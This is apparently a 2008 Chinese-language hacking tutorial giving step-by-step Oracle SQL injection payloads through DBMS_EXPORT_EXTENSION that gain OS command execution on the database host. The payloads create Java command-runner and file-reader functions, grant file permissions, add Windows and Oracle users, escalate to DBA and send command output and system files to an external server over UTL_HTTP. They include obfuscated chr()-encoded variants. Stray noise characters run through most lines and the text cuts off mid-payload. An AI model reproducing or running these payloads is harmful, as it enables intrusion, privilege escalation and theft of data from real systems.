8 \8 W8 q+ D+ O% i' y# o" r! o2 n- s1 W1 h' m- P$ M" Z" ~( D
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)/ O4 q- S) \ G. G$ S
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的形式即可。(用" 'a'|| "是为了让语句返回true值)5 ]6 j. l0 `& v* ]+ L2 B9 T
0 [' n" p# M! w6 e* p* e+ M语句有点长,可能要用post提交。+ B# E6 R3 {0 X) H* \* f/ E% a
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以下是各个步骤:/ U0 o' f c; p; H# K4 e7 K0 Z
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1.创建包
+ F! _( t! J/ h9 B& P通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 P% H! W5 L' C9 S2 ncreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(' h; Y4 ~% g. y- @
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 u. u5 h9 [7 {) w: y3 F}'''';END;'';END;--','SYS',0,'1',0) from dual. N* y' |4 K0 B# O9 ^$ c
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$ t+ o6 @/ [$ ~7 l, C如果url有长度限制,可以把readFile()函数块去掉,即:& k) z4 q1 `3 b! p( F2 q+ W
/xxx.jsp?id=1 and '1'<>'a'||(1 h3 m) @! _9 r8 z( \$ Q
5 A7 s( M0 ?5 x F0 Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' R- V# o" V% M
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(1 g* C4 u8 x' k0 O8 K
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}. v8 k/ }6 c- \1 v2 M; h
}'''';END;'';END;--','SYS',0,'1',0) from dual/ ?1 r Y G, h
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)
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同时把后面步骤 提到的 对readFile()的处理语句去掉。. U' ?0 p" D6 l/ d! s" g
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4 Y: G/ I5 N6 u T7 ?2.赋Java权限1 S- r4 j( B7 _' P4 W8 A4 s. S
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual- t8 B* G: N4 f! X
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9 n! A4 n8 q% t3.创建函数
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, B" r& e _- ?7 y& L, {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 r4 O/ p' N! q! ~: B7 Ucreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 y8 u- g. p5 M) e9 t. U6 x
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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7 P: J1 M c. Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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9 b( V% i- G( h' `5.测试上面的几步是否成功
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3 w# c% w6 b, C/ d8 w8 fand '1'<>'11'||(& L4 m/ H! `6 H" K3 j5 y% L
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'# S4 f- u6 b/ m9 a% @
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'. u O* e( y4 j# p, Y/ }3 P
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6 B1 v; j, B$ K$ A9 r6.执行命令:) W) A& v6 d& \
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; s' }: f# P2 H% @9 sselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
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4 F! R F: W8 t$ w; a! tselect sys.LinxReadFile('c:/boot.ini') from dual# G, X' T: V2 W$ [! Z/ t0 Y( ^% G
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。) y f; _0 z" T o. C& |
如果要查看运行结果可以用 union :
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2 y$ O2 f# Q2 x/ o _4 ]/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual5 h5 w t, u- E+ p
! I' }# r% {' X0 H或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(
5 | w5 ^7 ]2 j; FSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual0 k# C/ F i) b) D3 V' r
)
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual) r: P Q9 h( |
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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5 n' P8 p7 d% {& }" R--------------------
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$ f! z2 R7 O. j6.内部变化6 z5 c$ P' P2 O0 j. m Z" M7 t
通过以下命令可以查看all_objects表达改变:
% N6 p4 e/ r! C+ g) @select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数' C1 B2 O4 F, {1 ~* v* r ~
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) s/ ]1 R! Q9 f: z% B$ f9 Y( gdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================7 ~& y; o k: S9 ?, n& l) \0 i
全文结束。谨以此文赠与我的朋友。6 E9 L) [8 e/ t0 K
2 {1 o7 i8 k/ v3 ^* j6 dlinx
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2008.1.124 M2 `, ? u4 U* u# d2 N& k
[email protected]7 S6 g! d& G. {$ D
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( T& A. ^6 l& L$ i======================================================================
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测试漏洞的另一方法: i) O7 H. U6 c8 e% y. F$ y- \
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创建oracle帐号:# M: I; l _3 U% g) a* \- s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' k/ k2 u9 X4 E1 t: L! z( C: ^
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual7 B* U" A' T1 n N2 l9 U# F
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即:2 y; g" v4 I) |- n E& Z l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),& @' J# ]- `- L% K( C" C: O
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:- j% W! U$ v+ |3 E4 D+ x' B
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select user_id from all_users where username='LINXSQL'5 x$ ~. H9 ^+ c: j- a* t$ F& @+ O
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4 j; m& _, O7 B3 H: h给linxsql连接权限:
* F7 H1 V6 E- Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 r5 \; _; Z& p' {7 X5 [) ?; oGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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9 {6 g1 J4 w9 s3 c8 ?2 z删除帐号:
1 x5 i% H- R) X$ @5 zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 P0 E* s& X% |9 j7 r8 Hdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual$ T6 `; i7 ?. I1 \3 V# p
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====================== P3 O) G; j3 L9 w& d3 e- {
8 d& J$ e# t: [! M以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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" w4 {: I% g- K1.jsp?id=1 and '1'<>(' J7 h/ }7 W E1 R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ t* [$ K; m! {: v
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual' q% J: A3 L& ?
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1.jsp?id=1 and '1'<>(
4 a) |' c0 T) u6 cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual! r( ^' J+ ^5 C2 s+ u/ j
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1.jsp?id=1 and '1'<>(
/ Q8 Y( d1 K$ G y# K1 a( f, K1 aSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL8 }, K* ^9 ]+ f0 E3 Z
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1.jsp?id=1 and '1'<>(# n a- [) T; x$ X
SELECT sys.Linx_Query('declare pragma
6 ^/ B9 |2 Q3 q# c" N: jautonomous_transaction; begin execute immediate ''
1 c! {8 z+ F5 Zselect 1 from dual7 y2 }- A0 b h: R" v
''; commit; end;') from dual. I! |, r( K% _, ^. H
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多语句:
, S+ V3 v$ d+ m6 p7 |9 G, k6 }- dSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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创建用户(除非当前用户有system权限,否则无法成功):9 d; z+ X5 j: p
SELECT sys.Linx_Query('declare pragma2 c: S6 p2 @8 r' A8 B0 Q
autonomous_transaction; begin execute immediate ''
7 X" O g0 G( FCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User# f. B# h; {5 ?4 q4 k) q2 S. j9 t
''; commit; end;') from dual# K! u/ f2 S" u2 L3 x
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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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& n. }6 F& M1 O1.创建函数
$ t. z; \0 _* I! f6 Q. ]; aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 x" V6 P2 ^! {% D
create or replace function Linx_Query (p
# {2 }# P4 b# S ^7 {, ]/ avarchar2) return number authid current_user is begin execute immediate6 B/ R' \1 I) Q
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;9 s- V6 }& o" j+ K( D( V7 A
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如果有权限,以下语句应该允许正常
6 m. Z0 P x0 Z eselect sys.linx_query('select 1 from dual') from dual;8 z! a' W8 w" w$ n* e a$ x
( w: E: W! ?$ v9 l5 {不然的话运行:* U9 S+ y1 d" R t: Q s9 i
. J: x$ F% I0 b! Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* @1 q% R4 S# ogrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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; X6 }4 }' v4 L# ^' r2.创建包
( x; F8 g4 m5 M( M" _SELECT sys.Linx_Query('declare pragma' c8 |9 W+ W/ R
autonomous_transaction; begin execute immediate ''
! u7 N! Z; K9 ecreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
8 f; f, Z1 U; s2 ynew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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' H- K7 w3 s/ I+ w3 o3.创建函数: J. }' D6 T& ~
SELECT sys.Linx_Query('declare pragma; f' x3 j; q4 z- y5 X% i1 w3 `
autonomous_transaction; begin execute immediate ''$ I+ ^- c) C+ t. ^- }
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
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4.给权限
: N) A% K! x. G- V; A% ^8 A给用户SYSTEM执行权限:
5 L0 f8 R B a% T% b
; R9 O* t# ?1 Z! N2 S" F0 \SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual" |4 v$ ~6 O4 I* { h: v; q
8 `+ Q& P5 w2 \: d3 d1 Z
, Y$ @8 N+ l6 F8 R' ?
4 r- t N. q' Q+ ^; F8 j- l) j
5.执行函数: b- W" U$ `! t$ U8 w! a- j
select RunCMD2('cmd /c dir') from dual+ ?+ K( H d4 o$ Q; d+ E- W- [
0 [0 I9 n! I* y3 B3 m/ ~; u
9 c1 a) G; R6 v8 S- _( I/ a
j% I3 \! o/ y. d9 V- K; |0 x
3 R7 u9 k4 [* V: {& b1 o. P/ O& H* D5 l2 b* b1 c
==================
! Z R8 H" D j5 q================================
+ X! z% {: y8 A" [7 \1 Q
( K& G; S9 u4 G f4 r$ K以下是无 " ' " 版:" K% ~9 G% K( n+ V( ]6 S, D
" L/ E! z9 D- ]4 Y/ E: p# q% X
以下是各个步骤:
_: i$ F) g6 q- Y9 o5 [9 R0 |; g$ _7 \; ~
1.创建包9 v- l7 d5 w8 a6 C. y$ _& D
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
7 @: B. l' e% w+ W因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
6 b1 X0 u6 Z/ q' b, O" o1 x! ]+ U4 z" \! ]6 P$ g. d% [
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
x/ i) t& L4 f7 f; a! z' f2 ~, _& b0 ^! b
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),1 v0 W: L6 Q) m+ d) R$ g! F! `
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||$ Y. s) U# ]4 I* ~3 ^
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
2 V4 k* c; v! d9 S- N3 m) `chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||& W. ^! m; }3 _1 c8 z
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||9 I. `' f. I8 X2 e0 S, Y t! x
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||/ Z' a; Z+ K) P( R+ {# v1 A# K
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
9 w, H- K1 U. G- Lchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||& }' w2 C! k+ s/ l, x
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||* m# T5 L& {$ w! F( b5 A' q: ?
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
. I( `* q, [( j* T# r( W$ achr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
" @' U7 w- H- G, r: H/ ?3 E' z9 Wchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||2 X. A$ W- _1 t, |$ i* m
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||/ w4 C a/ n& l( _
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||" J! @( ], c8 _
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||& w, `+ f6 k$ C/ r) \% q
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||* f7 G1 T3 |+ I" X- o" L& u
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
" M x1 [4 b; Kchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
$ y4 V2 n! K& d5 a, J; dchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
( j* }9 n' r4 @+ Q# x y$ q! Mchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
/ N1 e1 s; s5 l& _% W: N3 |chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||; u; o" U3 e4 A
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||' @1 `, o% o, A1 k
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||6 `2 P5 \! p" i
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
( Q+ R4 Z* L6 O" ]# U# @chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||2 [! ~- c9 \, r$ d4 L
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
' T! I4 o) l' L) y/ jchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||9 N2 _9 R. y8 t
